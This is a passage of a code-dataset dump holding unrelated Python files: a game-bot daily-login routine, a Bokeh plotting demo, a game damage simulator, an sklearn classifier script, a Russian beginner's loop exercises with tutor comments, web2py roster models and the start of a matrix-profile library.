entrarDiariamente(s):\n\tprint(_('Se entrará todos los días automaticamente.'))\n\tenter()\n\n\tforkear(s)\n\tif s.padre is True:\n\t\treturn\n\n\tinfo = _('\\nEntro diariamente\\n')\n\tsetInfoSignal(s, info)\n\ttry:\n\t\tdo_it(s)\n\texcept:\n\t\tmsg = _('Error en:\\n{}\\nCausa:\\n{}').format(info, traceback.format_exc())\n\t\tsendToBot(msg)\n\tfinally:\n\t\ts.logout()\n\ndef do_it(s):\n\twhile True:\n\t\ts.get()\n\t\ttime.sleep(24*60*60)\n","sub_path":"ikabot/funcion/entrarDiariamente.py","file_name":"entrarDiariamente.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"500786311","text":"# The plot server must be running\n# Go to http://localhost:5006/bokeh to view this plot\n\nimport numpy as np\nfrom bokeh.plotting import *\n\nN = 9\n\nx = np.linspace(-2, 2, N)\ny = x**2\nsizes = np.linspace(10, 20, N)\n\nxpts = np.array([-.09, -.12, .0, .12, .09])\nypts = np.array([-.1, .02, .1, .02, -.1])\n\noutput_cloud(\"glyph\")\n\n\nannular_wedge(x, y, 10, 20, 0.6, 4.1,\n inner_radius_units=\"screen\", outer_radius_units = \"screen\",\n color=\"#8888ee\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"annular_wedge\")\n\nannulus(x, y, 10, 20, inner_radius_units=\"screen\", outer_radius_units = \"screen\",\n color=\"#7FC97F\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"annulus\")\n\narc(x, y, 20, 0.6, 4.1, radius_units=\"screen\", color=\"#BEAED4\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"arc\", line_width=3)\n\nbezier(x, y, x+0.2, y, x+0.1, y+0.1, x-0.1, y-0.1,color=\"#D95F02\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"bezier\", line_width=2)\n\ncircle(x, y, radius=0.1, radius_units=\"data\", color=\"#3288BD\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"circle\")\n\nline(x, y, color=\"#F46D43\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"line\")\n\nmulti_line([xpts+xx for xx in x], [ypts+yy for yy in y],\n color=\"#8073AC\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"multi_line\", line_width=2)\n\noval(x, y, 15, 25, angle=-0.7,\n width_units=\"screen\", height_units=\"screen\",\n color=\"#1D91C0\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"oval\")\n\npatch(x, y, color=\"#A6CEE3\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"patch\")\n\npatches([xpts+xx for xx in x], [ypts+yy for yy in y], color=\"#FB9A99\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"patches\")\n\nquad(x, x-0.1, y, y-0.1, color=\"#B3DE69\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"quad\")\n\nquadratic(x, y, x+0.2, y, x+0.1, y+0.1, color=\"#4DAF4A\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"quadratic\", line_width=3)\n\nray(x, y, 45, -0.7, color=\"#FB8072\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"ray\", line_width=2)\n\nrect(x, y, 10, 20, -0.7,\n width_units=\"screen\", height_units=\"screen\",\n color=\"#CAB2D6\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"rect\")\n\nsegment(x, y, x-0.1, y-0.1, color=\"#F4A582\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"segment\", line_width=3)\n\nsquare(x, y, size=sizes, color=\"#74ADD1\",\n tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"square\")\n\nwedge(x, y, 15, 0.6, 4.1,\n radius_units=\"screen\",\n color=\"#B3DE69\", tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"wedge\",)\n\nscatter(x, y, marker=\"circle_x\", size=sizes, color=\"#DD1C77\", fill_color=None,\n tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"circle_x\")\n\nscatter(x, y, marker=\"triangle\", size=sizes, color=\"#99D594\",\n line_width=2, tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"triangle\")\n\nscatter(x, y, marker=\"o\", size=sizes, color=\"#80B1D3\",\n line_width=3, tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"circle\")\n\nscatter(x, y, marker=\"cross\", size=sizes, color=\"#E6550D\", fill_color=None,\n line_width=2, tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"cross\")\n\nscatter(x, y, marker=\"diamond\", size=sizes, color=\"#1C9099\",\n line_width=2, tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"diamond\")\n\nscatter(x, y, marker=\"inverted_triangle\", size=sizes, color=\"#DE2D26\",\n line_width=2, tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"inverted_triangle\")\n\nscatter(x, y, marker=\"square_x\", size=sizes, color=\"#FDAE6B\", fill_color=None,\n line_width=2, tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"square_x\")\n\nscatter(x, y, marker=\"asterisk\", size=sizes, color=\"#F0027F\", fill_color=None,\n line_width=2, tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"asterisk\")\n\nscatter(x, y, marker=\"square_cross\", size=sizes, color=\"#7FC97F\", fill_color=None,\n line_width=2, tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"square_cross\")\n\nscatter(x, y, marker=\"diamond_cross\", size=sizes, color=\"#386CB0\", fill_color=None,\n line_width=2, tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"diamond_cross\")\n\nscatter(x, y, marker=\"circle_cross\", size=sizes, color=\"#FB8072\", fill_color=None,\n line_width=2, tools=\"pan,wheel_zoom,box_zoom,reset,previewsave\", title=\"circle_cross\")\n\nshow()\n","sub_path":"examples/plotting/cloud/glyphs.py","file_name":"glyphs.py","file_ext":"py","file_size_in_byte":4552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"417938980","text":"import adv.adv_test\nfrom core.advbase import *\nimport adv.g_cleo\nfrom slot.a import Amulet\n\nclass King_of_the_Skies(Amulet):\n att = 39\n\nclass Candy_Couriers(Amulet):\n att = 65\n a = [('s',0.40)]\n\ndef module():\n return Gala_Cleo\n\nclass Gala_Cleo(adv.g_cleo.Gala_Cleo):\n comment = '4 Gleo vs EHJP; simulated break & no team dps; s2 s1 c5 fs s3 c5 s1 c5 c5 c5 fs s2 s1 dragon end'\n conf = adv.g_cleo.Gala_Cleo.conf.copy()\n conf['slot.a'] = Candy_Couriers()+King_of_the_Skies()\n conf['slot.d'] = slot.d.Shinobi()\n conf['acl'] = \"`rotation\"\n conf['rotation'] = \"\"\"\n s2 s1 c5 fs s3 c5 s1 c5 c5 c5 fs s2 s1 dragon end\n \"\"\"\n\n def prerun(this):\n super().prerun()\n this.dragonform.dragon_gauge = 100\n this.dragonform.conf.act = 'c3 s c3 end'\n this.odbk = 991202+792960\n this.ehjp = 4488479\n this.dmgsum = 0\n adv.adv_test.team_dps = 0\n this.broken_punisher = Selfbuff(name='candy_couriers', value=0.25, duration=-1, mtype='att', morder='bk')\n\n def dmg_proc(this, name, amount):\n this.dmgsum += int(amount) * 4\n if this.dmgsum > this.odbk and this.dmgsum-(int(amount)*4) < this.odbk:\n log('debug', 'odbk', 'BREAK start')\n this.broken_punisher.on()\n Timer(this.break_end).on(10)\n log('debug', 'ehjp', '{}/{} ({:.0%})'.format(this.dmgsum, this.ehjp, this.dmgsum/this.ehjp))\n if this.dmgsum > this.ehjp:\n log('debug', 'ehjp is kill')\n\n def break_end(this, t):\n log('debug', 'odbk', 'BREAK end')\n this.broken_punisher.off()\n\n def dmg_make(this, name, dmg_coef, dtype=None, fixed=False):\n if this.broken_punisher.get():\n generic_name = name.split('_')[0]\n if generic_name[0] == 'x':\n generic_name = 'attack'\n if generic_name[0] == 'd':\n generic_name = name.split('_')[1][0:2]\n name = 'o_'+generic_name+'_on_bk'\n if dtype == None:\n dtype = name\n count = this.dmg_formula(dtype, dmg_coef) if not fixed else dmg_coef\n log('dmg', name, count)\n this.dmg_proc(name, count)\n return count\n\n def dmg_formula(this, name, dmg_coef):\n att = 1.0 * this.att_mod() * this.base_att\n if this.broken_punisher.get():\n armor = 10.0 * this.def_mod() * 0.6\n else:\n armor = 10.0 * this.def_mod()\n return 5.0/3 * dmg_coef * this.dmg_mod(name) * att/armor * 1.5 # true formula\n\n def s2_proc(this, e):\n super().s2_proc(e)\n Debuff('s2',0.10,20).on()\n Debuff('s2',0.10,20).on()\n Debuff('s2',0.10,20).on()\n\n def fs_proc(this, e):\n if this.fsa_charge and this.a1_buffed:\n Debuff('a1_str',-0.25,10,1,'att','buff').on()\n Debuff('a1_str',-0.25,10,1,'att','buff').on()\n Debuff('a1_str',-0.25,10,1,'att','buff').on()\n super().fs_proc(e)\n\n\nif __name__ == '__main__':\n conf = {}\n adv.adv_test.test(module(), conf, verbose=0)\n\n","sub_path":"adv/g_cleo.py.ehjp.py","file_name":"g_cleo.py.ehjp.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"447255754","text":"import numpy as np\r\nimport csv\r\nfrom collections import Counter\r\nimport pandas as pd\r\nimport pprint as pp\r\nimport random as rand\r\nfrom sklearn import linear_model\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.neural_network import MLPClassifier\r\nfrom sklearn import svm\r\n\r\njac_follow = []\r\nwith open('jaccard_follows.csv','r') as csvfile:\r\n reader = csv.reader(csvfile, delimiter=',')\r\n for row in reader:\r\n jac_follow.append(row)\r\nheaders1 = jac_follow[0][1:]\r\njac_follow=jac_follow[1:]\r\n\r\njac_interest = []\r\nwith open('jaccard_interest.csv','r') as csvfile:\r\n reader = csv.reader(csvfile, delimiter=',')\r\n for row in reader:\r\n jac_interest.append(row)\r\nheaders2 = jac_interest[0][1:]\r\njac_interest=jac_interest[1:]\r\n\r\njacbyfollow={}\r\n\r\nfor row in jac_follow:\r\n dict={}\r\n for i in range(len(headers1)):\r\n dict[headers1[i]]=float(row[i+1])\r\n jacbyfollow[row[0]]=dict\r\n \r\njacbyinterest={}\r\n\r\nfor row in jac_interest:\r\n dict={}\r\n for i in range(len(headers2)):\r\n dict[headers2[i]]=float(row[i+1])\r\n jacbyinterest[row[0]]=dict\r\n \r\n \r\npairs = []\r\nwith open('balancedSample.csv','r') as csvfile:\r\n reader = csv.reader(csvfile, delimiter=',')\r\n for row in reader:\r\n pairs.append(row)\r\npairs=pairs[1:]\r\ndata = []\r\nfor row in pairs:\r\n row.append(jacbyfollow[row[1]][row[2]])\r\n row.append(jacbyinterest[row[1]][row[2]])\r\n data.append(row)\r\n\r\n\r\nX = [[item[4],item[5]] for item in data]\r\nY = [int(item[3]) for item in data]\r\nX_train, X_test, Y_train, Y_test = train_test_split(X,Y,stratify=Y, test_size=0.1)\r\n\r\n#logistic regression\r\nclf = linear_model.LogisticRegression()\r\nclf.fit(X_train, Y_train)\r\nclf.score(X_test, Y_test)\r\n\r\n#neural network\r\nclf=MLPClassifier()\r\nclf.fit(X_train, Y_train)\r\nclf.score(X_test, Y_test)\r\n\r\n#svm\r\nclf = svm.SVC()\r\nclf.fit(X_train, Y_train)\r\nclf.score(X_test, Y_test)\r\n\r\n","sub_path":"recommender.py","file_name":"recommender.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"460889420","text":"# ls = [\"Папа\", \"Мама\", \"Я\"]\n# for x in ls:\n# print(x)\n\n# ls2 = [1, 2, 3]\n# sum = 0\n# for x in ls2:\n# sum = sum + x\n# print(sum)\n\n# ls = [2, 4, 1, 8]\n# for y in ls:\n# if y < 3:\n# continue\n# print(y)\n\n# ls = [5, 6, 3, 3, 4, 4]\n# for y in ls:\n# if y == 3:\n# break\n# print(y)\n\n# 1. Написать функцию, которая принимает список чисел и возвращает их сумму.\nls = [5, 6, 3, 7, 4, 12]\nsum = 0\nfor x in ls:\n sum = sum + x\n# print(sum)\n# исправленное\ndef ex_1(a):\n b = 0\n for x in a:\n b = b + x\n return b\n# # print(ex_1([5, 6, 3, 7, 4, 12]))\n# проверено\n\n# 2. Написать функцию, которая принимает список чисел и возвращает список который содержит числа раздёленными на 2\n# пример запуска:\n# fn([4,5,6])\n# [2, 2.5, 3] # то что вернуло\ndef ex_2(a):\n b = []\n for x in a:\n y = x / 2\n b.append(y)\n return b\n# print(ex_2([4, 5, 6, 17, 65, 88, 155.14]))\n# проверено\n\n# 3. Написать функцию, которая принимает список и возвращает его размер. Нельзя пользоваться len. Не делать с while!\ndef ex_3(a):\n y = 0\n for x in a:\n y = y + 1\n return y\n# print(ex_3([4, 5, 6, 5, 3, 89, 6, 5, 3, 89, 6]))\n# проверено\n\n\n# # 4. Написать функцию, которая принимает список чисел и некоторое число\n# # и возвращает True если число есть в списке, иначе возвращает False. Нельзя пользоваться in.\ndef ex_4(a, b):\n for x in a:\n # print(x, b)\n if x == b:\n # print(x, b)\n return 'YES'\n else:\n return 'NO'\n# print(ex_4([4, 5, 6, 5, 3, 89, 6, 5, 3, 89, 6], 89))\n# Тут else лучше не писать. else нужны для if-ов, не для for-ов\n\ndef ex_4(a, b):\n for x in a:\n # print(x, b)\n if x == b:\n # print(x, b)\n return 'YES'\n return 'NO'\n# print(ex_4([4, 5, 6, 5, 3, 89, 6, 5, 3, 89, 6], 89))\n# проверено\n\n# 5. Написать функцию, которая принимает список чисел и возвращает среднее значение для этих чисел.\ndef ex_5(a):\n y = 0\n z = 0\n for x in a:\n y = y + x\n z = z + 1\n return y/z\n# print('Среднее значание= ', ex_5([4, 5, 6, 5, 3, 89]))\n# проверено\n\n# 6. Написать функцию, которая принимает список чисел и возвращает максимальный элемент. Нельзя пользоваться функциями max\\sort\ndef ex_6(a):\n y = 0\n for x in a:\n if x >= y:\n y = x\n return y\n# print('Максимальный элемент в списке= ', ex_6([4, 5, 99, 5, 104, 3, 89]))\n# проверено\n\n# 7. Написать функцию, которая принимает список чисел и возвращает минимальный элемент. Нельзя пользоваться функциями min\\sort\ndef ex_7(a):\n y = a[1]\n for x in a:\n if x <= y:\n y = x\n return y\n# print('Минимальный элемент в списке= ', ex_7([4, 5, 99, 5, 2, 89]))\n# проверено\n\n# 8. Написать функцию, которая принимает список чисел и возвращает только чётные числа\ndef ex_8(a):\n b = []\n y = 0\n for x in a:\n if x%2 == 0:\n b.append(x)\n return b\n# print(ex_8([4, 5, 88, 8, 3, 89, 0, -44, 44, 28, 17, 32, 22, 33, 100, 1000000, 1000002]))\n# проверено\n\n# 9. Написать функцию, которая принимает список чисел и возвращает только нечётные числа\ndef ex_9(a):\n b = []\n y = 0\n for x in a:\n if x%2 > 0:\n b.append(x)\n return b\n# print(ex_9([4, 5, 88, 8, 3, -3, -89, 44, 28, 0, -17, 32, 22, 33, 100, 1000000, 1000002]))\n# проверено\n\n# 10. Написать функцию, которая принимает 2 списка чисел и возвращает их общие элементы.\n# Пример вызова:\n# fn([1,2,3,4], [5,7, 2, 88, 3])\n# [2, 3]\ndef ex_10(a,b):\n c = []\n for x in a:\n for y in b:\n if x == y:\n c.append(y)\n return c\n# проверено\n\n# 11. Написать функцию, которая принимает 2 списка чисел\n# и убирает из первого списка те числа которые есть во втором списке.\ndef ex_11(a,b):\n c = []\n for x in a:\n if x not in b:\n c.append(x)\n return c\n# print(ex_11([1,2,3,4, 17, -22], [5,7, 2, 88, 3, 17]))\n# проверено коля помог\n\n\n# 11.2 Написать функцию, которая принимает 2 числа а затем умножает их друг на друга. Нельзя пользоваться *.\n# Подсказка: в python есть функция list(range(4)) которая вернёт список вида [0, 1, 2, 3]\ndef ex_112(x, y):\n c = 0\n a = x\n b = y\n for a in range(x):\n # print(x)\n for b in range(y):\n # print(x, y)\n c = c + 1\n return c\n# print(ex_112(11, 7))\n# проверено\n\n\n# # 12. Написать функцию, которая принимает 2 числа x и y. Затем возводит x в степень y.\n# # Например если x = 4 а y = 3 то функция должна вернуть 64. Нельзя юзать ** (это оператор возведения в степень)\n# # не знаю в каком направлении эту задачу делать. Подскажи\n# ну например пусть x = 3 y = 4\n# чтобы возвести x в степень y тебе нужно x умножить само на себя y раз\n# тоесть x * x * x * x\n# ты можешь это сделать в цикле, который будет итерироваться y раз\ndef ex_12(x, y):\n c = 1\n for a in list(range(y)):\n c = c * x\n return c\n# print('Результат возведения в степень', ex_12(4, 3))\n# отправил на проверку\n\n# 13. Написать функцию которая, печатает всю таблицу умножения от 1 до 10:\n# 1 * 2 = 2\n# 2 * 2 = 4\n# 2 * 3 = 6\n# ...\n# 10 * 10 = 100\ndef ex_13(a, b):\n z = 0\n for x in range(a - 1):\n x = x + 1\n for y in range(b - 1):\n y = y + 1\n z = x * y\n print(x, ' * ', y, ' = ', z)\n return\n# ex_13(10, 10)\n# отправил на проверку\n\n# 14. Написать функцию принимающую список чисел. Затем функция печатает первое\n# число из списка на расстоянии в 3 пробела слева. Все остальные числа равняет\n# по самой правой цифре из первого числа. Чтобы было так:\n# 567\n# 2\n# 33\n# 3\n# Подсказка: чтобы распечатать 3 пробела + число 25 можно сделать так print(‘ ’ * 3 + str(25))\ndef ex_14(a):\n for x in a:\n y = len(str(x))\n y = 5 - y\n print(' '*y, x)\n return\n# ex_14([5,7, 222, 21, 88, 3, 17])\n# ex_14([5222323,7, 222, 21, 88, 3, 17])\n# Если вызвать так\n# ex_14([5222323,7, 222, 21, 88, 3, 17])\n# то первое число вылазит слишком вправо\n# нужно доделать\ndef ex_14(a):\n y = a[0]\n for x in a:\n if x > y:\n y = x\n z = len(str(y)) + 2 # количество знаков в самом большом числе + 3 пробела\n for x in a:\n q = len(str(x))\n q = z - q\n print(' '*q, x)\n return\n# ex_14([7, 222, 3, 17, 5222323, 7, 222])\n# проверено\n\n\n\n\n# 15. Написать функцию тренажёр таблицы умножения. После её запуска у\n# человека спрашивается 2 числа, а затем их произведение. Если человек\n# ответил правильно ему засчитывается очко. Если человек в любое число ввёл -1\n# то программа останавливается. Использовать while (в презентации после for)\n#\n# Пример запуска:\n#\n# У вас 0 очков.\n\n# Введите первое число: 5\n# Введите второе число: 7\n# Сколько будет 5 * 7 ?: 35\n# Верно.\n# У вас 1 очков.\n\n# Введите первое число: 2\n# Введите второе число: 2\n# Сколько будет 2 * 2 ?: 92\n# Неверно.\n# У вас 1 очков.\n\n# Введите первое число: -1\n# Пока.\n\ndef ex_15():\n print('У вас 0 очков.')\n i = 0 # очки в начале\n for a in range(100):\n x = int(input('Введите первое число: '))\n if x == -1: # проверка x\n return print('Пока')\n else:\n y = int(input('Введите второе число: '))\n if y == -1: # проверка y\n return print('Пока')\n else:\n print('Сколько будет ', x, '*', y, '?')\n z1 = int(input(':'))\n if z1 == -1: # проверка результата\n return print('Пока')\n else:\n z = x * y\n if z == z1:\n print('Верно.')\n i = i + 1 # добавляем в очко\n print('У вас ', i, 'очков.')\n else:\n print('Неверно.')\n i = i - 1 # убираем в очко\n print('У вас ', i, 'очков.')\n return\n# ex_15()\n# Всё верно, но можно упростить так например:\ndef ex_15():\n i = 0 # очки в начале\n for a in range(100):\n print('У вас ', i, 'очков.')\n x = int(input('Введите первое число: '))\n y = int(input('Введите второе число: '))\n z1 = input('Сколько будет ' + str(x) + '*' + str(y) + '? :')\n if -1 in [x, y, z]:\n print('Пока')\n break\n else:\n z = x * y\n if z == z1:\n print('Верно.')\n i = i + 1 # добавляем в очко\n else:\n print('Неверно.')\n i = i - 1 # убираем в очко\n\n# ex_15()\n# проверено\n\n# 16. Написать функцию принимающую список чисел и возвращающую максимальное и второе после максимального число.\n# Нельзя пользоваться max\\sort\ndef ex_16(a):\n y = 0\n z = 0\n for x in a:\n z = z + 1\n if x >= y:\n y = x\n t = z # индекс следующего за самым большим\n print(y) # самое большое\n print(a[t]) # второе после максимального числa\n return #(y, a[z])\nex_16([5,7, 222, 77, 21, 223, 3, 17])\n# тут ты немного задачу недопонял.\n# имелось ввиду если на входе список\n# [3, 6, 2, 7]\n# то на выходе выдать должно\n# [7, 6]\n# поскольку 7 максимальное число, а 6 стоит на втором месте по максимальности после 7\n\ndef ex_16(a):\n y = []\n y1 = 0\n for x in a:\n if x > y1:\n y1 = x\n y.append(x)\n print(y[-1], y[-2])\n return y\n# ex_16([5,7, 222, 77, 21, 223, 3, 17])\n# проверено\n\n\n# 17. Написать функцию принимающую число и рисующую квадрат размером с это число.\n# Пример:\n# fn(4)\n# ****\n# ****\n# ****\n# ****\n#\n# # Подсказка, чтобы создать строку с 3-мя звёздочками, можно сделать так: '*' * 3\n# def ex_17(x):\n# y = x\n# for x in range(x):\n# print('*' * y)\n# ex_17(7)\n# проверено\n\n\n# 18. Написать функцию принимающую число и рисующую рамку размером с это число.\n# Пример:\n# fn(4)\n# ****\n# * *\n# * *\n# ****\n# def ex_18(x):\n# y = x-2\n# z = x\n# print('*' * (x+2))\n# for x in range(y):\n# print('*', ' '*y, '*')\n# print('*' * (z+2))\n# ex_18(7)\n# рисует букву D английскую\n#\n# *******\n# * *\n# * *\n# * *\n# * *\n# * *\n# *******\n#\n# а должно\n#\n# *********\n# * *\n# * *\n# * *\n# * *\n# * *\n# *********\n# проверено\n\n\n# 19. Написать функцию принимающую число и рисующую шахматную доску размером с это число.\n# Пример:\n# fn(4)\n# * * * *\n# * * * *\n# * * * *\n# * * * *\n# def ex_19(x):\n# y = x\n# for x in range(x):\n# if x%2 > 0:\n# print('', '* ' * y)\n# else:\n# print('* ' * y)\n# return\n# ex_19(5)\n# не проверено\n\n\n# 20. Написать функцию, которая принимает 2 числа, первое должно быть меньше второго, затем выводит все числа кратные 2-м между этими числами\n# Пример:\n# fn(3, 15)\n# 4\n# 6\n# 8\n# 10\n# 12\n# 14\n# def ex_20(x, y):\n# z = x\n# for x in range(y+1):\n# # print(x)\n# if x > z and x%2 == 0:\n# print(x)\n# return\n# ex_20(3, 15)\n# проверено\n\n\n# 21. Написать функцию принимающую число и вычисляющую его факториал.\n# Факториал числа 5 = 1 * 2 * 3 * 4 * 5. Нельзя юзать math.factorial\n# def ex_21(a):\n# x = 1\n# y = 1\n# for a in range(a):\n# y = y * x\n# x = x + 1\n# return y\n# print(ex_21(5))\n# проверено\n\n\n# 22. Написать функцию которая принимает 3 переменные:\n# 1. Сумма которую хотят положить на депозит\n# 2. На сколько процентов будет увеличиватся сумм�� в месяц на депозите\n# 3. Сколько месяцев планируют держать сумму в депозите.\n# Функция должна возвращать накопленную сумму по прошествии времени.\n# Например если депозит 50% а изначальная сумма 40 руб, держать планируют 3 месяца то:\n# сумма на начало месяца | сумма на конец месяца\n# 40 | 60\n# 60 | 90\n# 90 | 135\n# В этом случае должно вернуть 135.\n# def ex_22():\n# x = int(input('1. Сумма которую хотят положить на депозит: '))\n# y = int(input('2. На сколько процентов будет увеличиватся сумма в месяц на депозите: '))\n# z = int(input('3. Сколько месяцев планируют держать сумму в депозите: '))\n# # print(x, y, z)\n# print('Сумма на начало месяца | Сумма на конец месяца')\n# for z in range(z):\n# print(x, '|', (x * y *0.01)+x)\n# x = x + (x * y *0.01)\n# return\n# # ex_22()\n# проверено\n\n# 23. Написать функцию которая принимает число и если число является простым то возвращает True иначе False.\n# Число является простым если оно делится без остатка только на себя и на 1.\n# Например число 7 является простым.\n\n# так шестёрка делится на 2. 7 не делится. 13 тоже. поэтому они простые.\n# простые это те, которые деляться ТОЛЬКО на себя и 1. больше ни на что\n# 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43\ndef ex_23(x):\n w = 0\n y = x\n for x in range(1, x+1):\n q = y%x\n if q == 0:\n w = w + 1\n if w == 2:\n return 'True'\n else:\n return 'False'\n# print(ex_23(4))\n# проверено\n\n\n# 24. Написать функцию принимающую число и рисующую треугольник размером с это число.\n# Например:\n# fn(5)\n# *\n# **\n# ***\n# ****\n# *****\ndef ex_24(x):\n for x in range(x):\n x = x + 1\n print('*'* x)\n# ex_24(7)\n# проверено\n\n\n# 25.* Написать функцию принимающую число и рисующую ромб размером с это число.\n# Например:\n# fn(7)\n# *\n# ***\n# *****\n# *******\n# *****\n# ***\n# *\n# def ex_25(x):\n# x1 = x%2 # узнаем чётное или нет\n# if x1 == 0: # для чётных\n# z = int(x / 2)\n# q = 0\n# w = int(x / 2)\n# for z in range(z):\n# w = w - 1\n# q = q + 2\n# print(' '*w, '*'*q)\n# w = w + 1\n# q = x - 2\n# for z in range(z):\n# print(' '*w, '*'*q)\n# w = w + 1\n# q = q - 2\n# else: # для не чётных\n# z = int((x - 1)/2)\n# z1 = int((x - 1)/2)\n# q = 1\n# w = z\n# for z in range(z):\n# print(' '*w, '*'*q, ' '*w)\n# q = q + 2\n# w = w - 1\n# print('', '*' * x)\n# for z1 in range(z1):\n# q = q - 2\n# w = w + 1\n# print(' '*w, '*'*q, ' '*w)\n# ex_25(8)\n# проверено\n\n\n\n# 26.* Написать функцию которая принимает 2 дня в виде чисел и возвращает сколько между ними дней.\n# Пример вызова: # fn(2020, 1, 26, 2020, 1, 21) # вернёт 5\n# 1:31, 2:28, 3:31, 4:30, 5:31, 6:30,\n# 7:31, 8:31, 9:30, 10:31, 11:30, 12:31\n\n# def ex_26(y1, m1, d1, y2, m2, d2):\n#\n#\n#\n# ex_26(2020, 1, 26, 2020, 1, 21)\n#\n#\n#\n#\n# import datetime\n# a = datetime.date.today()\n# print(a)","sub_path":"z14 For.py","file_name":"z14 For.py","file_ext":"py","file_size_in_byte":19941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"378063683","text":"from Utility import UtilityTest\nobj = UtilityTest.TestFunctional()\n\n\nclass Gambler:\n try:\n print(\"Enter The Amount To play :\")\n stake = int(input()) # Reading Input\n print(\"Enter The Target Goal amount :\")\n goal = int(input()) # Reading Input\n print(\"Enter value to play No of times\")\n no = int(input()) # Reading Input\n\n while stake < 0: # Validating Stake might not be Negative Value\n stake = int(input(\"Please Provide Positive Amount to play game\\n\"))\n\n while goal < 0: # Validating Goal might not be Negative Value\n goal = int(input(\"Please provide Positive target to win the Game\\n\"))\n\n while no < 0: # Validating Number might not be Negative Value\n no = int(input(\"Please provide valid Input\\n \"))\n\n obj.getReadyToPlayGame(stake, goal, no) # Invoking function it takes three arguments as Integers\n except ValueError:\n print(\"oops Something Went Wrong......... Please Provide Only Integer Values........\")","sub_path":"logical_prob/Gambler.py","file_name":"Gambler.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"279753515","text":"## -*- coding: utf-8 -*-\nevent_types = Storage(\n project_project = T(\"Project\"),\n irs_ireport = T(\"Incident\"),\n scenario_scenario = T(\"Scenario\"),\n org_organisation = T(\"Organisation\"),\n #org_site = T(\"Site\")\n )\n\ntablename = \"hrm_roster_event\"\ntable = s3db.super_entity(tablename, \"roster_event_id\",\n event_types,\n Field(\"name\")\n )\ntablename = \"hrm_slots\"\ntable = db.define_table( tablename,\n Field('start'),\n Field('name'),\n Field('over')\n )\n\n\ns3db.configure(table, super_entity = db.hrm_roster_event)\ns3db.add_component(table, hrm_roster_event=s3db.super_key(db.hrm_roster_event))\n\ntablename = \"hrm_roster_table\"\ntable = db.define_table(tablename,\n Field('type'), \n Field('start_date',\"date\"), \n s3db.super_link(\"roster_event_id\", \"hrm_roster_event\"),\n *s3_meta_fields()\n )\n\ntablename = \"hrm_roster_instance\"\ntable = db.define_table(tablename,\n Field(\"table_id\",s3db.hrm_roster_table),\n Field('week'),\n Field('slot')\n )\n\ntablename = \"hrm_roster_slots\"\ntable = db.define_table(tablename,\n Field('table_id',s3db.hrm_roster_table),\n Field('slots_id',s3db.hrm_slots)\n )\ntablename = \"hrm_roster\"\ntable = db.define_table(tablename, \n Field('change_req'),\n *s3_meta_fields()\n )\ntablename = \"hrm_roster_shift\"\ntable = db.define_table(tablename,\n Field(\"roster_id\",db.hrm_roster),\n Field(\"instance_id\",db.hrm_roster_instance),\n Field(\"date\"),\n Field(\"role\"),\n Field(\"slot_level\"),\n s3db.pr_person_id()\n )\ntablename = \"hrm_roster_roles\" #roles: volunteer, team leader etc. defined for a table.\ntable = db.define_table(tablename, Field(\"instance_id\", db.hrm_roster_instance), Field('roles'), Field('position_in_table','integer'))\n\ntablename = \"hrm_roster_change\"\ntable = db.define_table(tablename,\n Field('initial_shift',db.hrm_roster_shift),\n Field('requested_date'),\n Field('requested_table',db.hrm_roster_shift)\n )\n","sub_path":"models/roster.py","file_name":"roster.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"589992369","text":"'''--------------------------- Core Script ---------------------------------'''\n'''\n Description: This library is based on the algorithms described in \n [1] Chin-Chia Michael Yeh, Yan Zhu, Liudmila Ulanova, Nurjahan Begum, \n Yifei Ding, Hoang Anh Dau, Diego Furtado Silva, Abdullah Mueen, \n Eamonn Keogh (2016). Matrix Profile I: All Pairs Similarity Joins \n for Time Series: A Unifying View that Includes Motifs, Discords and \n Shapelets. IEEE ICDM 2016.\n'''\nimport numpy as np\nimport pandas as pd\nimport time\n\nimport matplotlib.pyplot as plt\n\n\ndef slidingDotProduct(q, 